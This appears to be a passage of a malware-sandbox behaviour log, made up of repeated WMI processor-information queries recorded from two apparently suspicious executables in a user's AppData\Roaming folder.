Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
